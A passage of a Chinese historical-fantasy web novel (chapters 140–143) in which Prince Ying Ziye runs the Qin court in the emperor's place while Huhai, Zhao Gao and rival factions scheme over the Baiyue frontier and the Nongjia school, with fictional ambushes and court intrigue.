十八公子府的窗棂被猛地推开。
胡亥赤着脚踩在窗台上,异色双瞳死死盯着章台宫方向。
他手中的蜜饯早已捏得稀烂,糖汁顺着指缝滴落。
“老师!”
他尖声唤道,声音却依然带着孩童般的甜腻,“宫里什么时候藏了这样的高手?”
赵高从阴影中现身,苍白的脸上罕见地露出惊疑:“老奴…也不知。”
他袖中的手指微微颤抖,“这等威压,至少是……”
“闭嘴!”
胡亥突然暴怒,一把掐住赵高咽喉!!
“你掌管罗网这么多年,居然连父皇身边有这样的高手都不知道?”
手上力道却轻得像在撒娇。
赵高眼中闪过一丝阴鸷:“公子息怒,能在咸阳宫来去自如的,恐怕是陛下豢养的死士!”
他压低声音,“老奴这就派六剑奴去查。”
“小心些~”
胡亥松开手,又恢复了天真神态,“要是打草惊蛇,父皇会生气的。”
他舔了舔指尖的糖渍,忽然眯起眼。
“对了,去查查今晚谁进过宫。”
……
夜色更深了。
咸阳城各处暗流涌动。
阴阳家观星台上,月神手中的星盘突然炸裂。
她踉跄后退,薄纱下的唇角溢出一丝鲜血:“这星象…怎么可能?”
星魂扶住她,望向章台宫方向的眼中满是惊骇:“又是一尊陆地神仙?!”
“不……”
月神擦去血迹,“这股气息,更为狂猛霸道。”
……
九重牢狱之中,一个披头散发的囚徒突然抬头。
铁链在他手腕上勒出深深血痕,他却恍若未觉!
“龙吟九天…哈哈…大秦要变天了!!!”
……
而此刻。
章台宫内,始皇帝周身环绕着九条金龙虚影,每一片鳞甲都清晰可见。
他突然睁眼,目光如电般穿透宫墙,望向北方。
“头曼…”
始皇帝的声音在空荡的大殿内回荡。
“朕倒要看看,是你的狼图腾厉害,还是朕的大军更胜一筹。”
最后一条金龙虚影没入他眉心,殿内重归寂静!
唯有案上那卷《天子擒龙功》的玉简,不知何时已化作齑粉,随风飘散……
第140章 大秦六公子暂代朝政!
子时三刻,十八公子府内烛火摇曳。
胡亥赤足蜷在软榻上,指尖把玩着一枚青铜蜘蛛。
赵高垂首立在阴影处,苍白的面容被烛光映得阴晴不定。
“公子。”
赵高声音尖细。
“六剑奴回报,六公子离去后,章台宫已被黑冰台重重封锁。”
“就连转魄最擅长的潜行术,也在宫墙三丈外就差点被察觉了。”
胡亥手中的蜘蛛“咔”地断了一条腿。
他歪着头,异色双瞳在烛光下泛着妖异的光:“连转魄都进不去?”
“非但如此。”
赵高袖中的手指微微颤抖。
“真刚试图强闯,被一道无形气劲震断了三根肋骨。”
他顿了顿。
“出手之人……至少是指玄境。”
胡亥突然咯咯笑起来。
笑声甜腻得令人毛骨悚然:“有意思~父皇身边竟藏着这样的高手。”
他蹦下软榻,赤脚踩在冰冷的地砖上。
“六哥今晚进宫…莫非与此有关?”
窗外一阵夜风卷入,烛火剧烈摇晃。
赵高趁机低声道:“老奴已命人盯住六公子府,只要…”
“够了。”
胡亥的声音陡然转冷。
他指尖一弹,蜘蛛残骸精准地钉入赵高脚前的青砖。
“这件事,到此为止。”
赵高愕然抬头:“公子?”
“听不懂吗?”
胡亥凑近赵高,孩童般清澈的眸子直视对方。
“我说——不、查、了。”
每个字都像裹着蜜糖的刀锋。
赵高额头渗出冷汗:“可那高手…”
“正因为是高手,才不能查。”
胡亥转身走向窗边,月光为他单薄的身影镀上银边。
“父皇既然藏着这张牌,自然有他的道理。”
他突然回头,笑容天真无邪。
“老师难道想试试,是罗网的剑快,还是那位高人的掌力更猛?”
赵高深深低头,掩去眼中的阴鸷:“老奴明白了。”
胡亥望着章台宫的方向,异色双瞳微微收缩。
他清楚地记得那道冲天而起的龙形气劲。
那绝非寻常武功能达到的境界。
指尖无意识地摩挲着腕间玉镯。
他轻声呢喃:“六哥啊六哥…你在宫中,到底见到了谁?”
院外传来更夫的梆子声。
赵高悄声退下时,听见胡亥哼起了童谣。
甜美的嗓音在夜色中格外瘆人。
那歌词隐约是:“…螳螂捕蝉,黄雀在后…”
……
晨钟响彻咸阳宫,文武百官依次入殿。
当众人看到负手站在龙案前的玄色身影时,殿内顿时一片哗然!
“六公子?!”
李斯手中的玉笏差点脱手,眼中精光爆闪。
他迅速扫视四周,确认始皇帝确实不在后,立即整肃衣冠站回原位。
淳于越踉跄着后退半步,花白胡须剧烈颤抖:“这…这不合礼制!长公子尚在,怎会…”
话未说完,就被身旁同僚死死拽住衣袖。
扶苏站在文官首位,温润如玉的面容此刻苍白如纸。
他死死攥着玉笏,指节发白,却终究没有出声质疑。
只是那双总是平和的眼睛里,第一次浮现出难以掩饰的震惊。
“诸位大人似乎很意外?”
赢子夜指尖轻叩龙案,然后俯身坐在了前面的玉阶之上,声音不大,却让满殿瞬间寂静。
“父皇特命本公子暂代朝政。”
“怎么…”
他目光扫过群臣。
“有人有异议?”
胡亥站在皇子队列中,异色双瞳微微收缩!
他袖中手指突然用力,清脆骨骼声渗出指缝。
昨夜章台宫异象,今日六哥代朝,这两件事若说没有关联…
“臣等不敢!!!”
李斯率先拜下,暗中踢了踢还在发愣的冯去疾。
“六公子代陛下理政,乃社稷之福。”
冯去疾慌忙附和,额头渗出细密汗珠。
赢子夜微微颔首:“今日朝议两事。”
“其一,科举制推行情况。”
萧何立即出列,青色官袍上还沾着墨渍:“禀公子,各郡县学宫已按制兴建。然有三大难处…”
他展开竹简。
“一则诸子百家典籍浩繁,考官难以尽知。”
“二则地方豪强暗中阻挠寒门应试;”
“三则…”
“典籍一事不必忧心。”
赢子夜打断道。
“帝宫之学正在编纂《百家精要》,三月后便可颁行天下。”
他目光转向蒙毅。
“至于豪强作梗,蒙将军。”
蒙毅铠甲铿锵出列:“末将在!”
“调三千黑甲卫,即日起巡视各郡。”
赢子夜声音转冷。
“凡阻挠科举者,无论世家勋贵,一律按谋逆论处!!”
殿内温度骤降。
淳于越突然跪地高呼:“公子!科举取士虽好,但完全以考试论才,未免有失偏颇!老臣建议…”
“建议什么?”
赢子夜似笑非笑。
“又想来你们那一套?让那些纨绔子弟继续尸位素餐?”
他突然拍案,一枚竹简弹起又落下。
“看看这个!陇西郡守之子,连《论语》开篇都背不全,却要继承其父官职!”
“科举制…毕竟刚刚落地,还任重而道远!”
竹简摔在淳于越面前,老人浑身发抖却说不出话。
扶苏忍不住出列:“六弟,淳于博士也是为国着想…”
“长兄。”
赢子夜淡淡打断。
“这两日,一直都有儒生当街殴打应试学子的案件,口称‘贱
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民也配为官’。”
他忽然提高声调。
“这就是你说的为国着想?”
扶苏如遭雷击,踉跄后退两步。
胡亥见状,眼中闪过一丝讥诮,却立刻换上天真表情:
“六哥别生气嘛~那些坏儒生,抓起来打板子就好啦!”
赢子夜深深看了胡亥一眼,忽然笑道:“十八弟说得是,萧何,将**者编入修长城徭役,永不录用!!”
“诺!”
萧何躬身应命,暗中擦了把汗。
“第二事。”
赢子夜转身面对朝堂武将与文臣。
“南方百越边疆,赵佗将军有奏报递上来。”
众臣齐声望向赢子夜手中展开的竹简。
竹简上密密麻麻记载着边疆情势与军情。
赢子夜目光沉凝,朗声念道:
“‘百越诸部近来争斗频繁,尤以蛇为图腾的‘天泽部’,半年内吞并三小部落,末将怀疑,有人暗中统一百越。’”
殿内顿时哗然!
王翦之子王贲嗤笑道:“蛮夷内斗也值得奏报?百越人哪天不打架才怪!”
赢子夜淡然道:“王将军此言未免轻率。”
他目光扫过众臣。
“赵佗将军奏报中指出,天泽部训练战象,打造青铜兵器,已非寻常蛮族。”
“更令人疑窦丛生的是……”
赢子夜放低声音,令人屏息。
“他们军中…竟出现中原制式**机!!!”
这话犹如冷水浇头,令众臣哑然!
赢子夜眼中闪烁精光:“赵将军怀疑有人往百越走私军械,并谏言,要我们严加防范。”
李斯急切出列:“公子,南疆险象环生,老臣建议即刻封锁边境,禁止一切商旅通行。”
赢子夜微微抬手,语气冷峻:“不必。”
“打草惊蛇,反招不利。”
他手持竹简,目光炯炯。
“本公子决议,令赵将军率三万精兵驻守边境,暗中排查**机来源。”
“至于天泽部……”
他指尖轻敲案几,语气深沉。
“本公子倒要看看,是谁在给这些蛇图腾蛮子撑腰!”
胡亥忽然一顿。
他敏锐捕捉到赢子夜提及“蛇图腾”时眼中闪过异色,宛如猎手发现了猎物踪迹。
这时,赢子夜起身拂袖而去,淡声道:“退朝,百越奏报上来的事宜,暂时先行到此。”
群臣恭敬躬身退下。
扶苏忍不住回头望向高台上的六弟。
那玄色朝服上的暗金玄鸟纹,在晨光中栩栩如生,宛如玄鸟蛰伏。
他心中暗想,这个平日不起眼的六弟,如今竟愈发显得帝王之姿。
胡亥蹦跳经过扶苏身边,凑近低语:“大哥发现没?六哥今天……特别像父皇呢~”
说罢咯咯笑着跑开,留下扶苏愣立原地。
第141章 寡人要让百越之地,寸草不生!
章台宫内,烛火通明。
始皇帝负手立于巨幅地图前,冕旒垂下的玉珠纹丝不动。
黑冰台统领跪在十步之外,额头紧贴地面,正一五一十禀报朝堂诸事。
“…六公子命赵佗屯兵三万于南境,又暗中派遣…”
始皇帝突然抬手,黑冰台统领立刻噤声。
宽大的袖袍扫过地图上那片标记为“百越”的蛮荒之地,指尖在“天泽部”三个朱砂小字上重重一按。
“蛇图腾?”
始皇帝的声音低沉如雷,震得梁上灰尘簌簌落下。
“区区蛮夷,也敢觊觎中原?”
殿内温度骤降。
黑冰台统领的铠甲上竟凝结出细密冰晶,他却连颤抖都不敢:“禀陛下,据密报,天泽部首领自称‘巫王’,能驱蛇驭兽…”
“巫?”
始皇帝冷笑一声。
转身时,玄色帝袍上的金线玄鸟纹竟似活物般游动。
“朕倒要看看,是他的蛇毒厉害,还是大秦的**箭更利!”
案几上的竹简突然无风自动,哗啦啦卷开到赵佗奏报的那一页。
始皇帝目光如电扫过,冕旒玉珠碰撞出清脆声响。
“子夜…处置得不错。”
语气中带着罕见的赞许。
“不过…”
他忽然一掌拍在地图上。
整张羊皮地图瞬间化为齑粉,唯有“百越”二字悬浮空中,被一团金色火焰包裹燃烧。
“陛下息怒!”
黑冰台统领浑身发抖。
“六公子已安排…”
“不够。”
始皇帝袖袍一挥,火焰中的“百越”二字轰然炸裂。
“传朕密旨,命章邯暗中训练五万水师。”
“待朕平定北疆匈奴,下一个…”
他顿了顿。
声音如万载寒冰。
“便是这蛇虫鼠蚁之地。”
殿外突然雷声大作,暴雨倾盆而下。
始皇帝走到窗前,望着南方天际的闪电,忽然问道:“近日农家内乱,子夜可有动作?”
黑冰台统领连忙叩首:“六公子似乎…有意放任。”
“聪明。”
始皇帝嘴角微扬。
“让那些蝼蚁自相残杀,总好过脏了大秦的剑。”
他转身时,一道闪电照亮半边面容。
冕旒下的目光比闪电更慑人。
“退下吧。”
黑冰台统领**着退出大殿,直到宫门关闭才敢直起腰。
他擦了把冷汗,忽然发现自己的佩剑不知何时已断成两截。
而始皇帝甚至未曾碰过他一下。
陛下的功力……越发深不可测了。
暴雨中,始皇帝的声音穿透厚重的宫门,清晰地传入他耳中:“百越……”
“朕要那里,寸草不生!!!”
……
长公子府内,烛火摇曳。
扶苏独坐书房,案前酒盏早已凉透。
窗外竹影婆娑,映得他温润如玉的面容忽明忽暗。
“公子!”
淳于越踉跄着闯入,花白胡须剧烈颤抖,“今日朝堂之事,实在欺人太甚!陛下若不上朝,理应由您……”
“老师。”
扶苏抬手打断,声音依旧温和,却多了几分罕见的坚决,“慎言。”
老儒生却似未闻,激动地挥舞着玉笏!
“六公子何德何能?论长幼,论贤明,都该是您……”
“够了!!”
扶苏突然拍案而起,酒盏翻倒,酒水在竹简上洇开一片深色痕迹。
他深吸一口气,放缓语气:“这些话,在这里说说便罢,出了这道门……”
他望向窗外巡逻的黑甲卫。
“诸位难道还想再看一次焚书?!”
满室寂静!
几位儒臣面面相觑,最终颓然跪坐。
颜回后人颜路长叹一声:“公子仁厚,可若再这般退让,只怕……”
“只怕什么?”
扶苏苦笑,“六弟如今手握大权,又得父皇器重,你们要我如何?”
他摩挲着腰间玉佩——
那是始皇帝在他加冠时所赐。
“结党营私?还是兵戈相向?”
淳于越老泪纵横:“可儒家千年道统……”
“正因如此,才更该谨言慎行。”
扶苏俯身扶起老臣,指尖触到对方袖中藏着的《论语》竹简,动作微微一滞。
“博士可还记得?夫子曰‘邦有道,危言危行;邦无道,危行言孙’。”
窗外一阵风过,竹叶沙沙作响。
年迈的淳于越突然怔住,浑浊的眼中泛起波澜。
他颤抖着从怀中掏出竹简,抚摸着上面“民为贵”三个字,终是深深拜下:“老臣……明白了。”
……
待众人退去,扶苏独自站在廊下。
夜露沾湿了他的衣襟,他却浑然未觉。
远处章台宫的灯火依旧明亮,隐约可见巡逻侍卫的身影。
“六弟……”他轻声自语,“你究竟想要什么?”
一片竹叶飘落掌心。
扶苏忽然想起儿时在兰池宫,六弟蹲在池边喂鱼的模样。
那时的赢子夜还是个不起眼的小皇子,会把最后一块饵饼掰成两半,悄悄塞给他一半。
夜风渐凉。
扶苏转身回到案前,展开一卷空白竹简。
他提笔蘸墨,却在落笔时顿住。
墨滴在简上晕开,像极了六弟今日朝服上那只暗金玄鸟的翅膀。
“或许……”
他忽然搁笔,从暗格中取出一卷蒙尘的《韩非子》,“该换个法子。”
烛火“噼啪”爆了个灯花。
扶苏的手指停在“变法”二字上,眼中闪过一丝决然。
他轻轻抚过书简,仿佛下定了某种决心:“仁政非是懦弱,宽厚不等于退让。”
院外传来打更声。
扶苏吹灭蜡烛,任由月光洒满书案。
那卷《韩非子》静静摊开,旁边是半成品的奏章——
开头“儿臣请治百越策”七个字!
笔锋,竟罕见地透着锋芒!
竹影摇曳中,这位以仁厚著称的长公子,第一次在无人处露出了与平日截然不同的神情。
他望向章台宫的目光,不再只有温润,还多了几分深沉的思量。
……
十八公子府内,灯火幽暗。
胡亥赤着脚踩在雪白的狐裘毯上,指尖捏着一枚蜜饯,糖汁顺着指缝滴落,在地毯上洇开一片暗红。
“老师~”
他突然开口,甜腻的嗓音在空荡的大殿里回荡,“你说六哥今天那副模样,像不像只偷到鱼的猫?”
赵高从阴影中现身,苍白的脸上带着谄笑:
“公子明鉴。六公子今日代朝,确实蹊跷……”
“啪!”
蜜饯突然被捏爆,黏腻的果肉溅在赵高脸上。
胡亥歪着头,异色双瞳在烛光
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下泛着妖异的光:“本公子问的是——像不像猫?”
赵高纹丝不动,任由糖汁从鼻尖滑落:“像……像极了。”
“咯咯咯……”
胡亥突然笑起来,蹦跳着转了个圈,“可猫要是吃太多,会撑死的哦~”
他猛地凑近赵高,呼吸喷在对方脸上,“你说,六哥昨晚到底在父皇宫中见到了什么?”
窗外一道闪电划过,照亮胡亥半边脸庞。
那本该天真无邪的容颜,此刻扭曲如恶鬼。
赵高袖中的手指微微颤抖:“公子,六剑奴……”
“废物!”
胡亥一甩袖,案上酒具尽数扫落。
瓷器碎裂声中,他的声音却甜得发腻:“连个消息都打探不到,要你们何用?!”
他突然安静下来,蹲在地上捡拾碎片。
锋利的瓷片割破手指,他却像发现什么好玩的事,将血珠涂抹在唇上。
“不过……今天倒是有件趣事。”
赵高会意,立即凑近:“公子是说…百越?”
“那个叫天泽的小蛇~”
胡亥舔着指尖的血,异色双瞳兴奋地收缩,“多可爱啊,躲在草丛里吐信子……”
他突然揪住赵高衣领,“去,给他送点礼物,再查清楚是谁在百越走私军械,拉拢过来。”
赵高眼中精光一闪:“公子的意思是……”
“**机图纸,粮草路线,随便什么都好。”
胡亥松开手,蹦跳着来到窗前,“让他咬人时……更疼些。”
月光下,他单薄的身影投射在墙上,竟如巨**般扭曲蠕动。
赵高深深低头:“可六公子已让赵佗……”
“所以才要帮帮那条小蛇呀~”
胡亥转身,脸上又恢复了孩童般的纯真,“等他把六哥的注意力都吸引过去……”
他忽然从袖中掏出一条活蛇,亲昵地蹭了蹭蛇头。
“我们就能做更有趣的事了!”
蛇信吞吐间,赵高突然明白了什么:“公子是想……”
“嘘——”
胡亥将食指竖在唇前,蛇瞳般的眼睛眯起,“秘密说出来就不灵了。”
他逗弄着小蛇,轻声哼唱:“小蛇小蛇快快长…长大了好吞象……”
窗外,雷声轰鸣。
赵高躬身退下时,听见胡亥突然提高声调:“对了老师,等农家事了,把田蜜那个蠢女人也送给小蛇玩玩吧~”
甜腻的嗓音里满是恶意。
雨幕中,赵高的身影悄然消失。
胡亥独自站在窗前,手中的蛇不知何时已被捏碎头颅。
他望着章台宫的方向,异色双瞳闪烁着疯狂的光芒:“六哥,你以为掌控了一切?”
手指缓缓收紧,蛇尸化为肉泥,“很快你就会知道……谁才是真正的猎人。”
铜镜映出他扭曲的笑脸。
镜中人忽然结了个诡异的手印。
若是星魂在此,定会骇然失色。
这分明是阴阳家禁术“魂噬”的起手式,连东皇太一都未曾完全掌握!
“百越…罗网…农家……”
胡亥对着镜中的自己轻语,“统统都是我的玩具。”
他突然打碎铜镜。
碎片中无数个胡亥同时咧嘴而笑,“包括你哦,亲爱的六哥~”
暴雨拍打着窗棂,却盖不住殿内癫狂的笑声。
檐下青铜风铃无风自动,发出如蛇嘶般的声响。
第142章 这局棋,该结束了!
六公子府。
书房内,烛火将赢子夜的身影投在墙上,如一条蛰伏的黑龙。
赵弋苍单膝跪地,铁面下的声音低沉浑厚:
“主上,胜七已在田蜜房中寻得侠魁令,但吴旷察觉绢帛字迹有异,正在暗中查证。”
赢子夜指尖轻叩案几,嘴角微扬:“哦?吴旷倒是比我想的聪明。”
他端起酒盏,氤氲热气模糊了面容,“看来这些年潜伏农家,没白费。”
窗外一片竹叶飘落,恰停在案前地图上的大泽山位置。
赢子夜两指捻起竹叶把玩:“田蜜那边如何反应?”
“如主上所料。”
赵弋苍铁面折射着冷光,“那女人已调集心腹追查,还秘密联络了罗网。”
烛火“噼啪”爆了个灯花。
赢子夜忽然轻笑出声:“有意思。”
他将竹叶放入酒盏,看着叶片在漩涡中沉浮,“田仲呢?”
“已动身前往咸阳,随行十二人皆是高手。”
赵弋苍顿了顿,“属下发现,其中三人步履虚浮,疑似服用了某种激发潜能的药物。”
赢子夜眸光一冷:“罗网的‘焚血丹’。”
他屈指轻弹,酒盏中的竹叶突然碎成粉末,“继续盯紧田仲,但不要打草惊蛇。”
赵弋苍欲言又止:“主上,是否需要属下安排人‘引导’吴旷查证?比如在田猛旧居再放些……”
“不必。”赢子夜打断他,起身走到窗前。
“过犹不及,吴旷既起疑心,自然会去找朱家求证。”
月光勾勒出他棱角分明的侧脸。
“比起这个,我更好奇胡亥会如何插手。”
一阵夜风卷入,吹熄了半室烛火。
他突然转身,眸中金芒乍现,“传令昭鞅,三日后我要看到田仲与赵高密谈的详细记录。”
“诺!”
赵弋苍抱拳领命,又迟疑道:“那胜七那边……”
赢子夜摆摆手:“农家这盘棋,关键不在侠魁令。”
他指尖划过地图上共工堂的位置,“而在田仲这个‘枢纽’。”
忽然意味深长地笑了笑,“你说,当罗网发现他们最忠实的狗,其实早就被人给盯上…会是什么表情?”
他轻轻合上窗棂:“去准备吧。这场大火,才刚刚开始点燃。”
最后一缕月光被隔绝在外,书房陷入彻底的黑暗。
……
中车府内室,烛火摇曳。
赵高斜倚在软榻上,苍白的手指摩挲着一枚青铜蜘蛛。
田仲跪伏在地,额头紧贴冰冷的地砖,连呼吸都放得极轻。
“田堂主……”
赵高的声音像是毒蛇吐信,“听说胜七那莽夫,在你农家闹得很欢啊?”
田仲身子一颤,冷汗顺着鬓角滑落:“回大人,那叛徒不知从哪得了侠魁令,正四处……”
“废物!”
赵高突然将蜘蛛砸在田仲面前,青铜碎裂声吓得他浑身一抖。
“罗网给你们提供了多少便利?连个莽夫都收拾不了!”
窗外一阵阴风吹入,烛火剧烈晃动。
田仲的倒影在地上扭曲变形,如同他此刻战栗的心绪:“大人息怒!实在是朱家那老狐狸暗中掣肘!”
“朱家?”
赵高阴测测地笑了,从袖中抽出一个密匣。
“那就让他……永远闭嘴。”
他将密匣缓缓推到案几边缘。
“交给田蜜。她知道该怎么做。”
田仲膝行上前,正要接过密匣,赵高突然按住他的手。
那冰冷的触感让他如坠冰窟!
“听说……”
赵高俯身,腐臭的呼吸喷在田仲脸上,“你最近常去醉仙楼?那里的歌姬……很会伺候人?”
田仲瞳孔骤缩。
“大、大人明鉴!属下只是……”
“嘘——”
赵高枯瘦的手指按在他唇上。
“本座不在乎你玩女人。”
突然掐住他下巴。
“但若误了正事。”
另一只手轻轻一划,田仲的衣袖齐整断裂,露出小臂上罗网的蜘蛛刺青。
“这就是你的下场!”
田仲瘫软在地,看着自己手臂上的刺青竟开始蠕动。
蜘蛛腿部的纹路如同活物般刺入血肉。
剧痛让他险些惨叫出声,却死死咬住嘴唇不敢发声。
“旬日之内。”
赵高重新倚回软榻,仿佛刚才什么都没发生。
“本座要看到朱家的人头。”
他摆了摆手。
“滚吧。”
烛火映照下,他的笑容狰狞可怖。
门外惊雷炸响。
田仲仓皇离去时,隐约听见赵高阴冷的自语:“农家…呵呵呵……”
那笑声如同夜枭啼鸣,久久回荡在黑暗的走廊里。
……
夜色如墨,山风呜咽。
田仲离开咸阳已有半日,此刻正歇在一处偏僻的驿站。
简陋的客房内,烛火摇曳,将他的影子投在斑驳的土墙上,显得格外阴郁。
他坐在床榻边,从怀中取出那个密匣,手指微微发颤。
赵高阴冷的声音仿佛还在耳边回响:“旬日之内,本座要看到朱家的人头。”
烛光下,他额角的青筋隐约跳动,冷汗顺着鬓角滑落。
“田蜜那个蠢女人……”
他低声咒骂着,指甲不自觉地掐进掌心。
手臂上的蜘蛛刺青突然传来一阵刺痛,让他猛地打了个寒颤。
这是罗网的警告。
若任务失败,等待他的将比死更可怕!
窗外,一片枯叶轻轻飘落。
昭鞅如鬼魅般贴在屋檐下,呼吸近乎停滞。
他眯起眼睛,透过窗缝将屋内的一切尽收眼底。
田仲那副坐立不安的模样,在他眼中就像一只被蛛网困住的飞虫。
“果然有问题……”
昭鞅无声地勾起嘴角。
他指尖轻弹,一枚细如牛毛的银针悄然刺破窗纸。
针尖沾着特制的**,在烛火映照下闪着微光。
田仲突然警觉地抬头,目光扫向窗口。
昭鞅立即屏息凝神,连心跳都刻意放缓。
三息之后,田仲重新低下头,颤抖着拆开了密匣。
昭鞅眼中精光一闪!
借着摇曳的烛光,他清晰地看到竹简上的内容:
“田密亲启:
惊鲵不可尽信。三日后子时,掩日会亲至魁隗堂,你需配合田仲肃清朱家一脉,共工堂必须掌控关键要道,农家,当归罗网所有!
——蛛网。”
田仲的呼吸骤然急促,竹简在他手中簌簌作响!
他犹豫再三,还是将竹简重新卷好,塞进了贴身的暗袋。
昭鞅无声冷笑。
他像一片落叶般轻盈落地,没有惊动任何一片瓦砾。
转身隐入黑暗时,他指尖把玩着一枚青铜令牌。
那是方才趁田仲心神大乱时,顺手摸走的共工堂信物。
“掩日亲自出手?”
昭鞅眼中闪过兴奋的光芒。
“这下可有好戏看了。”
他身形如烟,几个
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起落便消失在茫茫夜色中。
只留下一缕若有若无的杀气,很快被山风吹散。
屋内,田仲突然打了个寒颤,猛地回头看向窗口。
那里除了晃动的树影,什么都没有。
他擦了擦额头的冷汗,吹灭了摇曳的烛火。
黑暗中,他的眼睛像受惊的野兽般闪着不安的光。
……
黎明时分,六公子府的庭院还笼罩在薄雾中。
昭鞅单膝跪在青石板上,露水浸透了他的衣襟,却掩不住他眼中跳动的兴奋。
“主上,田仲那蠢货果然带着罗网的密匣。”
他舔了舔干裂的嘴唇,从怀中取出那封誊抄的木犊。
“掩日将会亲至农家,要助田密肃清朱家一脉,田仲也会从旁出手。”
赢子夜披着玄色大氅站在廊下,修长的手指轻轻摩挲着玉扳指。
晨光为他冷峻的侧脸镀上一层金边,却化不开他眼底的寒意。
“田仲现在何处?”
他的声音很轻,却让昭鞅不自觉地绷紧了脊背。
“已离开咸阳三十里,正沿着官道往大泽山方向去。”
昭鞅咧嘴一笑,露出森白的牙齿。
“属下在他身上留了暗香,就是逃到天涯海角也躲不过暗河的追踪。”
赢子夜突然轻笑一声。
那笑声让昭鞅后颈的汗**都竖了起来。
“罗网想掌控农家?”
他慢条斯理地展开信笺。
“那就让他们……先付些利息。”
昭鞅眼中迸发出嗜血的光芒:“主上的意思是?”
“让田仲活着回去。”
赢子夜指尖燃起一缕金焰,信笺瞬间化为灰烬。
“但要让他……狼狈些。”
他转身时,大氅在晨风中猎猎作响。
“安排人手,在他必经之路上截杀一些无关紧要之人,包括罗网的那群探子。”
“记住,要让他负伤,但别要他的命。”
昭鞅会意地眯起眼睛:“属下明白,正好最近新训练了一批‘血鸦’,还没见过血呢。”
“再派个机灵点的。”
赢子夜忽然驻足。
“把田仲的行踪……不经意地透露给胜七。”
他唇角勾起一抹冷笑。
“那位‘农家叛徒’,想必很乐意收下这份大礼。”
昭鞅忍不住笑出声:“主上高明!属下这就去办。”
他刚要起身,却又被赢子夜叫住。
“昭鞅。”
赢子夜的声音陡然转冷。
“若是走漏半点风声……”
“属下提头来见!”
昭鞅立即单膝跪地,右手按在胸前。
他太清楚主上的手段了。
上个月有个暗河**多嘴,向一个同侪透露了行动方案,现在他俩的尸体已经被扔在地牢里喂了几天老鼠了。
赢子夜微微颔首,转身走向内室。
昭鞅这才敢直起身子,后背已经湿透。
他望着主上远去的背影,不自觉地摸了摸脖子,随即又露出兴奋的神色。
“田仲啊田仲……”
他低声喃喃,指尖轻轻抚过腰间的短刃。
“你可要好好演完这出戏。”
晨雾中,他的身影如鬼魅般消散,只余下一地露珠微微颤动。
远处,第一缕阳光刺破云层,将六公子府的屋檐染成金色。
赢子夜站在窗前,望着渐渐苏醒的咸阳城,眼中金芒流转。
“农家,罗网……”
他轻声自语。
“这局棋,该结束了!”
第143章 猎杀时刻,到了!!!
山道上的落叶被夜风卷起,发出沙沙的声响。
田仲骑在马上,右臂的刺青还在隐隐作痛。
他咬了咬牙,鞭子狠狠抽在马背上。
“驾!”
马儿吃痛,加快了脚步。
两侧的山林在月光下显得格外阴森,树影婆娑间似乎藏着无数双眼睛。
田仲不自觉地摸了摸藏在胸口的密信,那里已经被汗水浸湿了一角。
突然,一支羽箭破空而来!
“嗖——”
田仲猛地侧身,箭矢擦着他的脸颊飞过,带出一道血痕。
他瞳孔骤缩,立刻拔出佩剑:“什么人?!”
回答他的是一阵机括声响。
十余支**箭从四面八方射来。
田仲仓促间滚**背。
那匹可怜的马儿瞬间被射成了刺猬,哀鸣着倒下。
“罗网的狗,今日就是你的死期!”
一个蒙面黑衣人从树梢跃下,手中短刀寒光凛冽。
田仲心头大骇,连忙吹响求救的哨子。
隐藏在暗处的六名罗网**立刻现身。
为首的汉子冷笑:“哪来的杂碎,也敢拦罗网的路?”
两拨人马瞬间厮杀在一起。
刀光剑影间,鲜血飞溅。
田仲趁机躲到一块巨石后,眼中满是惊恐。
“小心!”
一名罗网**突然挡在田仲面前,随即被一柄长剑贯穿胸膛。
田仲眼睁睁看着自己的手下一个个倒下。
那些暗河**出手狠辣,招招致命。
“田堂主,躲什么?”
一个阴冷的声音在背后响起。
田仲猛地回头,看到一个戴着青铜面具的暗河**正把玩着一把滴血的短刀。
“你…你们竟敢……”
“竟敢什么?”
昭鞅轻笑一声。
短刀在指尖转了个漂亮的刀花。
“杀几条罗网的狗吗?”
田仲脸色惨白,突然从袖中甩出三枚**!
昭鞅轻松避开,反手一刀划破田仲的衣襟。
赵高的密匣颓然落地,被鲜血浸透了一角。
“哟,这是给谁的情书啊?”
昭鞅作势要去捡。
田仲发了疯似的扑上去,却被昭鞅一脚踹开。
他重重摔在地上,肋骨断了两根,疼得眼前发黑。
“杀了他!快杀了他!”
田仲对幸存的罗网**嘶吼。
最后三名罗网**拼死冲来。
昭鞅吹了声口哨。
暗处立刻射出数支**箭,将他们钉死在树上。
田仲趁机连滚带爬地逃向山林深处。
昭鞅看着他的背影,故意提高声音:“追!别让他跑了!”
但实际上,暗河的**们都站在原地没动。
一个年轻**不解地问:“副统领,真放他走?”
昭鞅摘下面具,露出玩味的笑容:“主上要的是他带着赵高的命令回去。”
他弯腰捡起沾血的密匣,随手扔给手下。
“去,到时候把这玩意儿‘不小心’丢在胜七必经之路上。”
“诺!”
昭鞅望着田仲逃跑的方向,突然从怀中取出一张传讯符。
符纸在他掌心燃起幽蓝色的火焰:“‘寒鸦’听令,田仲已负伤返回,按计划行动。”
符纸燃尽的瞬间,百里外的大泽山中,一个正在砍柴的农家弟子突然停下动作。
他抬头望向咸阳方向,浑浊的眼中闪过一丝精光。
“终于要开始了……”
农家弟子喃喃自语。
手中的柴刀在阳光下泛着冷光。
……
与此同时,田仲跌跌撞撞地跑进一片密林。
他的右臂已经失去知觉,额头的伤口不断流血。
回头望去,追兵似乎没有跟来,但他不敢停留。
他咬牙切齿地咒骂:“罗网就是一群废物。”
“你们给我等着!”
他从贴身的暗袋里摸出一个小瓶,倒出最后一颗红色药丸吞下。
这是罗网的秘药,能暂时压制伤势。
药效发作的瞬间,他疼得跪倒在地,浑身抽搐!
待疼痛稍减,田仲挣扎着爬起来,继续向大泽山方向逃去。
**的是,在他身后不远处,一双冰冷的眼睛正注视着他的一举一动。
“跑吧,跑得再快些……”
暗河的**低声轻笑。
“这场戏,才刚开场呢。”
夜风呜咽,卷起地上的一片枯叶,轻轻盖住了最后一滴血迹。
……
大泽山的清晨笼罩在薄雾中。
两个农家弟子沿着山道慢悠悠地巡逻。
其中一人身材魁梧,腰间别着把柴刀,正是暗河**“寒鸦”假扮的农家弟子王铁柱。
“听说了吗?”
王铁柱故意压低声音。
“田堂主传信回来了。”
另一个农家弟子立刻来了精神。
“真的?田堂主从咸阳回来了?”
王铁柱装作警惕地左右张望,然后凑近同伴耳边。
“嘘——小声点。”
“田堂主说要从东边的小
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路秘密回来,让咱们在西边大路上做做样子,假装他从大路回来。”
他搓了搓手。
“朱家那边盯得紧,得防着点。”
“原来如此!”
那弟子恍然大悟。
“难怪今早田蜜堂主突然调了二十个好手去西边。”
两人继续向前走着。
王铁柱故意踢了块石头,发出清脆的响声。
